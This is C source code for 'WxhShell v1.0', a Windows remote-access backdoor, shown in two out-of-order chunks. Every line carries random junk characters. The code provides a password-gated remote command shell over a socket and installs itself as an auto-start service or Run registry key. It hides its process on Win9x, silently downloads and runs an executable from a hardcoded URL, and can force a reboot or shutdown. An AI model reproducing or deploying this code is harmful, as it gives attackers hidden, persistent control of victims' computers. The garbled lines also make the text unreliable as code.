    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ph7(JV{  
    if(Boot(SHUTDOWN)) Q+%m+ /Zq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v,x%^gv0  
    else { ,[K)E  
    closesocket(wsh); exrt|A] _[  
    ExitThread(0); iYfLo">  
    } o4I!VK(C#s  
    break; $0`$)(Y  
    } nLN6@  
  // 获取shell Wp9 2sm+  
  case 's': { @*`UOgP7  
    CmdShell(wsh); 2" {]A;@  
    closesocket(wsh); :Ro" 0/d  
    ExitThread(0); wGQhr="  
    break; 5)zh@aJ@  
  } KlX |PQ  
  // 退出 :z,vJ~PW  
  case 'x': { YvP"W/5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =x.v*W]F`  
    CloseIt(wsh); (9[C0eS  
    break; '8pPGh9D  
    } s"Pk-Dv  
  // 离开 fM[fS?W  
  case 'q': { #/sE{jm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2Z9gOd<M~  
    closesocket(wsh); h'q0eqYeu)  
    WSACleanup(); sT"tS>  
    exit(1); [F-u'h< *l  
    break; . eag84_  
        } wbF1>{/"  
  } 2,QApW_Y  
  } -0J<R;cVs  
K}*p(1$u  
  // 提示信息 0~L 8yMM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %<*pM@  
} 2dJ)4  
  } c68$pgG  
lJQl$Wx^  
  return; J<:D~@qq  
} 8_,wOkk_B  
yD id` ym  
// shell模块句柄 o6yZ@R  
int CmdShell(SOCKET sock) Ty`=U>K|  
{ 5N</Z6f'o  
STARTUPINFO si; [-94=|S @  
ZeroMemory(&si,sizeof(si)); [&}<! :9'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X!HSS/'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w I 7  
PROCESS_INFORMATION ProcessInfo; `,]PM) iC  
char cmdline[]="cmd"; -OGy-"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8i$`oMv[y  
  return 0; <u% e*  
} E0%Y%PQ**{  
ZaV66Y>  
// 自身启动模式 $W]guG  
int StartFromService(void) Gkvd{G?F  
{ iK0J{'  
typedef struct T7nX8{l[RG  
{ MBrVh6z>  
  DWORD ExitStatus; Pb&+(j  
  DWORD PebBaseAddress; l]=$<  
  DWORD AffinityMask; exU=!3Ji  
  DWORD BasePriority; yFtf~8s3  
  ULONG UniqueProcessId; FQRcZpv;  
  ULONG InheritedFromUniqueProcessId; L. ?dI82c  
}   PROCESS_BASIC_INFORMATION; >V=@[B(0  
1M FpuPJk  
PROCNTQSIP NtQueryInformationProcess; 7n]%`Yb  
m8A1^ R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9rc n*sm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B>2 1A9&  
Gf.o{  
  HANDLE             hProcess; N>\?Aeh  
  PROCESS_BASIC_INFORMATION pbi; X.5LB!I)  
#$T"QL@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $F$R4?_  
  if(NULL == hInst ) return 0; $ !=:ES  
Y\S^DJy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %+J*oFwQu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hvZR4|k>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e!'u{>u  
X}^gmu<Vla  
  if (!NtQueryInformationProcess) return 0; &h[}5  
bd;f@)X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bq`kVfx  
  if(!hProcess) return 0; <7) 6*u  
L#b Q`t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fbkjK`_q  
wajhFBJ  
  CloseHandle(hProcess); b;ZAz  
9F!&y-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .q}k  
if(hProcess==NULL) return 0; k]YGD  
,KaWP  
HMODULE hMod; *&MkkI#  
char procName[255]; 6GvnyJ{[  
unsigned long cbNeeded; F x8)jBB_  
=1Jo-!{{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >Sah\u`  
L<`g}iw  
  CloseHandle(hProcess); ^q2zqC  
f d5~'2  
if(strstr(procName,"services")) return 1; // 以服务启动 S45_-aE  
9B0"GEwrs  
  return 0; // 注册表启动 X:/t>0e  
} }C}_ I:=C  
H:6$) #  
// 主模块 Z Z7U^#RT  
int StartWxhshell(LPSTR lpCmdLine) R0'EoX  
{ OK(d&   
  SOCKET wsl; Cn '=_1p  
BOOL val=TRUE; Df^S77&c!  
  int port=0; eRbO Hj1  
  struct sockaddr_in door; p7er04/}\  
Y?cw9uYB  
  if(wscfg.ws_autoins) Install(); ~yN,FpD  
U)8]pUI+/P  
port=atoi(lpCmdLine); 2O/_hv.  
|e >-v  
if(port<=0) port=wscfg.ws_port; Hc9pWr "N  
X3yr6J[ ^  
  WSADATA data; Y[4B{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5{Wl(jwb  
Y2EN!{YU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bk]|C!7$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p6'8l~W+  
  door.sin_family = AF_INET; K-3 _4As  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y{=@^4|]  
  door.sin_port = htons(port); f'dI"o&^/d  
ev $eM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ig{5 ]wZ(  
closesocket(wsl); {,=,0NQKn  
return 1; 9K!='u`  
} $'q(Z@  
5FxU=M1gF  
  if(listen(wsl,2) == INVALID_SOCKET) { X[<9+Q-&  
closesocket(wsl); Ay]5GA!W+  
return 1; xTT>3Fj  
} o*_D  
  Wxhshell(wsl); d/1XL[&  
  WSACleanup(); yhaYlYv[_3  
3QpT O,  
return 0; jxvVp*-=<j  
"dOzQz*E  
} zu#o<6E{  
. +>}},  
// 以NT服务方式启动 YVT^}7#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N"TD$NrK\  
{ i7FEjjGtG  
DWORD   status = 0; Cp%|Q.?  
  DWORD   specificError = 0xfffffff; @_{"ho  
9[`6f8S_$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $Tg$FfD6&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ju<D7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {\B!Rjt[T  
  serviceStatus.dwWin32ExitCode     = 0; ]NCOi ?Odx  
  serviceStatus.dwServiceSpecificExitCode = 0; :"4~VDu  
  serviceStatus.dwCheckPoint       = 0; v,;?+Ck  
  serviceStatus.dwWaitHint       = 0; }1V&(#H2  
qb Q> z+c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F r~xN!  
  if (hServiceStatusHandle==0) return; @UKd0kxPN{  
V;"'!dVX  
status = GetLastError(); KjadX&JD  
  if (status!=NO_ERROR) xk/(| f{L  
{ zF PSk ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {)mlXo(On  
    serviceStatus.dwCheckPoint       = 0; SZ_hGD0  
    serviceStatus.dwWaitHint       = 0; /y}  
    serviceStatus.dwWin32ExitCode     = status; ?Rdi"{.wI  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;bX{7j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Mi~4b  
    return; Y3[@(  
  } &~i1 @\]  
9g7T~|P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yr+&|;DB  
  serviceStatus.dwCheckPoint       = 0; "jSn`  
  serviceStatus.dwWaitHint       = 0; D<MtLwH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \m<*3eS  
} GB#7w82  
+mJAIjH  
// 处理NT服务事件,比如:启动、停止 Rh=h{O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :z[SI{Y  
{ 9:1ZL_yf  
switch(fdwControl) q bo`E!K  
{ m*1=-" P  
case SERVICE_CONTROL_STOP: zIu1oF4[  
  serviceStatus.dwWin32ExitCode = 0; 9I,Trk@&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D3]_AS&\  
  serviceStatus.dwCheckPoint   = 0; 6Pz\6DU,I  
  serviceStatus.dwWaitHint     = 0; OA_ %%A;o  
  { ~%]+5^Ka]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EB \\ F  
  } G]{)yZ'}  
  return; RW'QU`N[Y  
case SERVICE_CONTROL_PAUSE: "zugnim  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; },l3N K  
  break; (UCWSA7oc  
case SERVICE_CONTROL_CONTINUE: dP82bk/e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #soWX_>  
  break; &a V`u?'e  
case SERVICE_CONTROL_INTERROGATE: >6c{CYuT  
  break; !(/dbHB  
}; *cf#:5Nl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DUaj]V{_^  
} "_lSw3  
/0A}N$?>:  
// 标准应用程序主函数 ./u3z|q1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]'hz+V31%  
{ D ,nF0p  
s q_ f[!  
// 获取操作系统版本 d;K,2  
OsIsNt=GetOsVer(); <%! EI@N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n;[d{bU  
f|u!?NGl  
  // 从命令行安装 WmeV[iI  
  if(strpbrk(lpCmdLine,"iI")) Install(); {q:6;yzxl  
wtK+\Qnb  
  // 下载执行文件 ->d 3FR  
if(wscfg.ws_downexe) { }}<^f M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dc U$sf*  
  WinExec(wscfg.ws_filenam,SW_HIDE); *~cq (PFQ  
} q>t#5Z81  
MGK%F#PM  
if(!OsIsNt) { Y f1?3 (0O  
// 如果时win9x,隐藏进程并且设置为注册表启动 d-y8c  
HideProc(); EW]rD  
StartWxhshell(lpCmdLine); XsEDI?p2  
} ) }(Po_  
else f-^JI*hj  
  if(StartFromService()) c1Skt  
  // 以服务方式启动 `@RTfBB g  
  StartServiceCtrlDispatcher(DispatchTable); X3@Uih}|  
else FG/1!8F  
  // 普通方式启动 xcty  
  StartWxhshell(lpCmdLine); *jM]:GpyoU  
0.+MlyA  
return 0; 3%P<F>6 J  
} Z ):q1:y  
s^#B*  
VX0}x+LJ  
:<hM@>eFn  
=========================================== 7_HFQT1.N  
zc K`hS  
sFt"2TVr3  
9(6f:D  
I'}&s|6  
Y7BmW+  
" @q]4]U)  
2u Zb2O  
#include <stdio.h> ||D PIn]  
#include <string.h> 42M_  %l_  
#include <windows.h> 5/8=Do](  
#include <winsock2.h> 5:|9pe)  
#include <winsvc.h> y*=sboX  
#include <urlmon.h> OY Sq)!:  
S#kYPe  
#pragma comment (lib, "Ws2_32.lib") |P@N}P@  
#pragma comment (lib, "urlmon.lib") 7>"dc+Fg  
xqs ,4bcbY  
#define MAX_USER   100 // 最大客户端连接数 iYD5~pK8  
#define BUF_SOCK   200 // sock buffer ^hNl6)hR  
#define KEY_BUFF   255 // 输入 buffer 0 30LT$&!  
{8>g?4Q#  
#define REBOOT     0   // 重启 D6-R>"}  
#define SHUTDOWN   1   // 关机 CFC15/yU  
gFqF&t  
#define DEF_PORT   5000 // 监听端口 F Y<Q|Ov  
p]0`rf!|  
#define REG_LEN     16   // 注册表键长度 7r&lW<:>  
#define SVC_LEN     80   // NT服务名长度 k3K*{"z  
aVCPaYe^  
// 从dll定义API ?r 0rY?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fV@ [S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; [G:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DQ(0:r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p#).;\M   
/poGhB 1k  
// wxhshell配置信息 ?5FlbiT  
struct WSCFG { )$RV)  
  int ws_port;         // 监听端口 $C.a@gm  
  char ws_passstr[REG_LEN]; // 口令 /78]u^SW  
  int ws_autoins;       // 安装标记, 1=yes 0=no U0t|i'Hx  
  char ws_regname[REG_LEN]; // 注册表键名 ?z`={oN  
  char ws_svcname[REG_LEN]; // 服务名 6se8`[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <o/!M6^:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  $TfB72  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -w*fS,O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O 2-n-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vhPlH0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [3"F$?e5  
d\uN  
}; G&xtL  
N"}>);r  
// default Wxhshell configuration ulxfxfd  
struct WSCFG wscfg={DEF_PORT, {;DAKWm@T  
    "xuhuanlingzhe", u"q5 6}Q?]  
    1, +@=V}IO  
    "Wxhshell", %ggf|\ -e  
    "Wxhshell", `Jk0jj6Z  
            "WxhShell Service", +!0K]$VZs  
    "Wrsky Windows CmdShell Service", j1KNgAo<4  
    "Please Input Your Password: ", ydyTDn  
  1, a;t}'GQGk  
  "http://www.wrsky.com/wxhshell.exe",  D3cJIVM  
  "Wxhshell.exe" g35!a<JW  
    }; .ojEKu+EJ'  
RqgN<&g?  
// 消息定义模块 lhKn&U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V_:`K$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |]4!WBK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ao2^3e  
char *msg_ws_ext="\n\rExit."; 3Rc*vVnI  
char *msg_ws_end="\n\rQuit."; eJ99W=  
char *msg_ws_boot="\n\rReboot..."; ;.V/ngaj  
char *msg_ws_poff="\n\rShutdown..."; r|EN5  
char *msg_ws_down="\n\rSave to "; =SXdO)%2  
bZNqv-5 4h  
char *msg_ws_err="\n\rErr!"; j:h}ka/!p  
char *msg_ws_ok="\n\rOK!"; 5E\.YqdV  
q7X#LYk  
char ExeFile[MAX_PATH]; H].|K/-p  
int nUser = 0; w}gmVJ#p  
HANDLE handles[MAX_USER]; P9/ (f$=  
int OsIsNt; "E(i<  
kJJT`Ba&/  
SERVICE_STATUS       serviceStatus; ysz =Xw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mux/\TII  
itg_+%^R  
// 函数声明 ECOJ .^  
int Install(void); 0G+Q^]0  
int Uninstall(void); E`.xu>Yyj  
int DownloadFile(char *sURL, SOCKET wsh); CIx(SeEF  
int Boot(int flag); t>[W]%op  
void HideProc(void); S"cTi[9  
int GetOsVer(void); 4.!1odKp  
int Wxhshell(SOCKET wsl); Co1d44Q  
void TalkWithClient(void *cs); U?UU] >Q  
int CmdShell(SOCKET sock); krUtOVI  
int StartFromService(void); B&]`OO>O  
int StartWxhshell(LPSTR lpCmdLine); k7^hc th  
BS9VwG <Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vqSpF6F q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n93q8U6m/U  
zMsup4cl  
// 数据结构和表定义 h[W`P%xZ  
SERVICE_TABLE_ENTRY DispatchTable[] = pey=zR!  
{ wXIRn?z  
{wscfg.ws_svcname, NTServiceMain}, geme_  
{NULL, NULL} k =5k)}i  
}; X' `n>1z  
:W.H#@'(  
// 自我安装 (BEe^]f  
int Install(void)  [E1qv;   
{ 24 [KGp  
  char svExeFile[MAX_PATH]; =W~7fs  
  HKEY key; rfqwxr45h  
  strcpy(svExeFile,ExeFile); @G4Z  
I L*B@E8  
// 如果是win9x系统,修改注册表设为自启动 ` ,\b_SFg  
if(!OsIsNt) { 6 9>@0P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 39v Bsc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2lTt  
  RegCloseKey(key); TxJk.c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t#^Cem<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8,U~ p<Gz  
  RegCloseKey(key); B4y_{V  
  return 0; P T;{U<5  
    } 7m2iL#5[  
  } ,X|Oe@/  
} 2 R\K!e  
else { K(+=V)'Dz  
Nf| 0O\+%y  
// 如果是NT以上系统,安装为系统服务 ZFtx&vr P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C m:AU;  
if (schSCManager!=0) =t,oj6P~  
{ v3DK0MW  
  SC_HANDLE schService = CreateService _}F& ^  
  ( n9Fq^^?  
  schSCManager, 2xNR=u`  
  wscfg.ws_svcname, NfoHQU <n  
  wscfg.ws_svcdisp, 1S?~ c25=h  
  SERVICE_ALL_ACCESS, m6i ,xn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JLd%rM\m  
  SERVICE_AUTO_START, 2XR!2_)O5  
  SERVICE_ERROR_NORMAL, ^(q .f=I!a  
  svExeFile, ntIR#fB  
  NULL, Vh0cac|X  
  NULL, y3efie {J  
  NULL, 2hHRitt36  
  NULL, jRsl/dmy  
  NULL |>ztx}\  
  ); a4s't% P  
  if (schService!=0) Yi9Y`~J  
  { ~i1 jh:,  
  CloseServiceHandle(schService); oXZWg~&l^  
  CloseServiceHandle(schSCManager); G8}owszT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6w%n$tiX  
  strcat(svExeFile,wscfg.ws_svcname); ;MQl.?vj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t^&hG7L_m,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]G i&:k  
  RegCloseKey(key); x_3B) &9  
  return 0; 2sGKn a  
    } :Quep-:fy<  
  } 7)U ik}0  
  CloseServiceHandle(schSCManager); jG ouwta  
} MsIR~  
} ;gL{*gR]S  
"EpH02{i  
return 1; }k.yLcXM  
} `\@n&y[`7  
,hf W2}  
// 自我卸载 3[Q7'\  
int Uninstall(void) 1 V]ws}XW  
{ s/ABT.ZO  
  HKEY key; Gd|kAC g  
Z,p@toj'  
if(!OsIsNt) { _p"u~j~%-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TFOx=_.%i  
  RegDeleteValue(key,wscfg.ws_regname); jUD^]Qs  
  RegCloseKey(key); UIU Pi gd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { </kuJh\  
  RegDeleteValue(key,wscfg.ws_regname); bj`GGxzOb  
  RegCloseKey(key); v2tVq_\AMx  
  return 0; NU_^*@k  
  } E-1u_7  
} >&\.{ aj  
} ekY)?$v3  
else { 7#wB  
E-^(VZ_Xj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gaC4u,Zb  
if (schSCManager!=0) 48z%dBmTT*  
{ 4"|3pMr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uhj]le!  
  if (schService!=0) 'C}ku>B_r  
  { _<]0hC  
  if(DeleteService(schService)!=0) { p8XvfM  
  CloseServiceHandle(schService); +-b'+mF  
  CloseServiceHandle(schSCManager); &KBDrJEX  
  return 0; ^X6e\]yj  
  } rMVcoO@3  
  CloseServiceHandle(schService); kI a16m  
  } '0 ~?zP  
  CloseServiceHandle(schSCManager); E5A"sB   
} t ]Ln(r  
} t{B@k[|  
f6J]=9jU  
return 1; |X*y-d77W  
} j=U"t\{  
&0f/F:M  
// 从指定url下载文件 4pMp@ b  
int DownloadFile(char *sURL, SOCKET wsh) vn*K\,  
{ S@!_{da  
  HRESULT hr; I++ Le%w  
char seps[]= "/"; [>>_%T\I  
char *token; q_ ^yma  
char *file; SFh<>J^ 0a  
char myURL[MAX_PATH]; TDZ==<C  
char myFILE[MAX_PATH]; "*/IP9?]  
prt(xr4@  
strcpy(myURL,sURL); @f"[*7Q`/  
  token=strtok(myURL,seps); t$,G%micj  
  while(token!=NULL) y|+5R5}K  
  { g$2#TWW5  
    file=token; c2Z !Vtd  
  token=strtok(NULL,seps); I9L3Y@(f6m  
  } W4av?H  
b3_P??yp  
GetCurrentDirectory(MAX_PATH,myFILE); PX?%}~ v  
strcat(myFILE, "\\"); Z" H;t\P  
strcat(myFILE, file); &b^_~hB:q  
  send(wsh,myFILE,strlen(myFILE),0); .7 )oWd!  
send(wsh,"...",3,0); %'g)MK!e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2gklGDJD  
  if(hr==S_OK) .3UJ*^(?  
return 0; Fab]'#1q4  
else 2o9B >f&g  
return 1; x0%m}P/  
{HM[ )t0  
} C7R3W,  
"y*3p0E  
// 系统电源模块 BI%~0 Gj8  
int Boot(int flag) (Nz`w  
{ #wT6IU1  
  HANDLE hToken; &`s{-<t<L  
  TOKEN_PRIVILEGES tkp; Fhllqh)  
>WZbb d-  
  if(OsIsNt) { dHiir&Rd9`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); " wT?$E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G"m0[|XH  
    tkp.PrivilegeCount = 1; ,J+L_S+B~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [O^/"Qk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A0@,^|]  
if(flag==REBOOT) { RLL ph  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P 0+@,kM  
  return 0; B*}]'  
} jK/F zD0-  
else { Q1|6;4L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B_[I/ ?  
  return 0; h4K Mhr  
} '{~[e**  
  } )lt1I\n*k  
  else { '?m2|9~  
if(flag==REBOOT) { (O(TFE5^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QPLWRZu@  
  return 0; PN9vg9'  
} >Q(\vl@N=  
else { 2brY\c F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4P)#\$d:  
  return 0; x.t&NP^V)  
} d>I)_05t  
} RAhDSDf  
j>\rs|^O  
return 1; [~|k;\2 +  
} PX^ k;  
%=2sz>M+  
// win9x进程隐藏模块 g8'8"9:xC  
void HideProc(void) ";&PtLe  
{ w0nbL^f  
/@ g 8MUq7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d)biMI}<5  
  if ( hKernel != NULL ) u=s,bt,"5  
  { 8Vn   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KK >j V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q Sv!5&u  
    FreeLibrary(hKernel); g%]<sRl:-  
  } 2P`./1L  
+?3RC$jyw  
return; D2D+S  
} "WGKwi=W  
Z>3~n  
// 获取操作系统版本 fk?!0M6d  
int GetOsVer(void) X#0yOSR  
{ WwnBe"7M  
  OSVERSIONINFO winfo; 3j$, L(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hTZ6@i/pS  
  GetVersionEx(&winfo); (O09HY:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ljrJC  
  return 1; 't8!.k  
  else 8'3&z-  
  return 0; xo @|;Z>&F  
} 3HP { a  
k 75 p  
// 客户端句柄模块 mM/#(Ghl  
int Wxhshell(SOCKET wsl) qgEzK  
{ @|ZUyat  
  SOCKET wsh; >a2[P"   
  struct sockaddr_in client; 2w1Mf<IXPo  
  DWORD myID; b9i_\  
g]44|9x(W  
  while(nUser<MAX_USER) /i@.Xg@:  
{ d@*dbECG  
  int nSize=sizeof(client); k)F!gV#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \J?&XaO=  
  if(wsh==INVALID_SOCKET) return 1; XZ$g~r  
\&V[<]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5M)B  
if(handles[nUser]==0) ~v/` `s  
  closesocket(wsh); .':17 $c`H  
else d@JavcR  
  nUser++;  r?0w5I  
  } t,XbF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }/NjZ*u  
[.$%ti*!  
  return 0; MGw XZ7?E  
} 32J/   
y}U'8*,  
// 关闭 socket @c8RlW/A  
void CloseIt(SOCKET wsh) A9DFZZ0  
{ ?_S);  
closesocket(wsh); R"t2=3K  
nUser--; #X!seQ7a  
ExitThread(0); u5U^}<}y}  
} )Rk(gd  
{~EsO1p  
// 客户端请求句柄 id`9,IJx  
void TalkWithClient(void *cs) 8BS Nm  
{ =-P<v2|e  
*$('ous8  
  SOCKET wsh=(SOCKET)cs; yQu/({D  
  char pwd[SVC_LEN]; 2Z^p)  
  char cmd[KEY_BUFF]; e *D,2>o  
char chr[1]; 1Nv qtVC  
int i,j; ZL!5dT&@W  
iY sQ:3s  
  while (nUser < MAX_USER) {  mSFA i  
T`I4_x  
if(wscfg.ws_passstr) { |w_l~xYV)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Y:zg3q*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a[!:`o1U  
  //ZeroMemory(pwd,KEY_BUFF); '2<N_)43$  
      i=0; a*_" nI&lr  
  while(i<SVC_LEN) { {t'SA]|g  
\Q?#^<O  
  // 设置超时 gIGi7x  
  fd_set FdRead; /(s N@kt  
  struct timeval TimeOut; O6q5qA  
  FD_ZERO(&FdRead); ?FZ) LZM  
  FD_SET(wsh,&FdRead); [-)BI|S:  
  TimeOut.tv_sec=8; RM25]hx  
  TimeOut.tv_usec=0; J?&%fI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q?0&0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H5gcP11r  
3?&P^{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e&<=+\ul  
  pwd=chr[0]; sa"!ckh  
  if(chr[0]==0xd || chr[0]==0xa) { cS#| _  
  pwd=0; Fcn@j#[J  
  break; vcOw`oS  
  } ?IiFFfs  
  i++; "@xL9[d  
    } urD{'FQf  
sg<c1  
  // 如果是非法用户,关闭 socket QA~Lm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Z]CBEE  
} 5*y6{7FLp  
- l0X]&Ex  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <+<,$jGC-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !3*%-8bp  
v@:m8Y(t  
while(1) { gYw=Z_z  
xwijCFI*  
  ZeroMemory(cmd,KEY_BUFF); Q6PMRG}/o  
j|r$ ! gV  
      // 自动支持客户端 telnet标准   MnW"ksH  
  j=0; *Y ?&N2@c  
  while(j<KEY_BUFF) { n=h!V$X   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )aX#RM? N  
  cmd[j]=chr[0]; `S]DHxS  
  if(chr[0]==0xa || chr[0]==0xd) { Mbxrj~ue  
  cmd[j]=0; 7}Jn`^!  
  break; "Qe2U(Un  
  } ,Mu"r!MK  
  j++; 6"o@d8>v  
    } 8-Z|$F"  
KyzdJ^xC"  
  // 下载文件 e[.JS6  
  if(strstr(cmd,"http://")) { l`EKL2n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r 4+%9)  
  if(DownloadFile(cmd,wsh)) )m10IyUAY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&(\A,ch%  
  else xbze{9n"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }vX/55  
  } g;</|Z  
  else { 9Qc=D"'  
'n "n;  
    switch(cmd[0]) { q>dERN&  
  !4fT<V (  
  // 帮助 T=T1?@2C  
  case '?': { f:/"OCig  
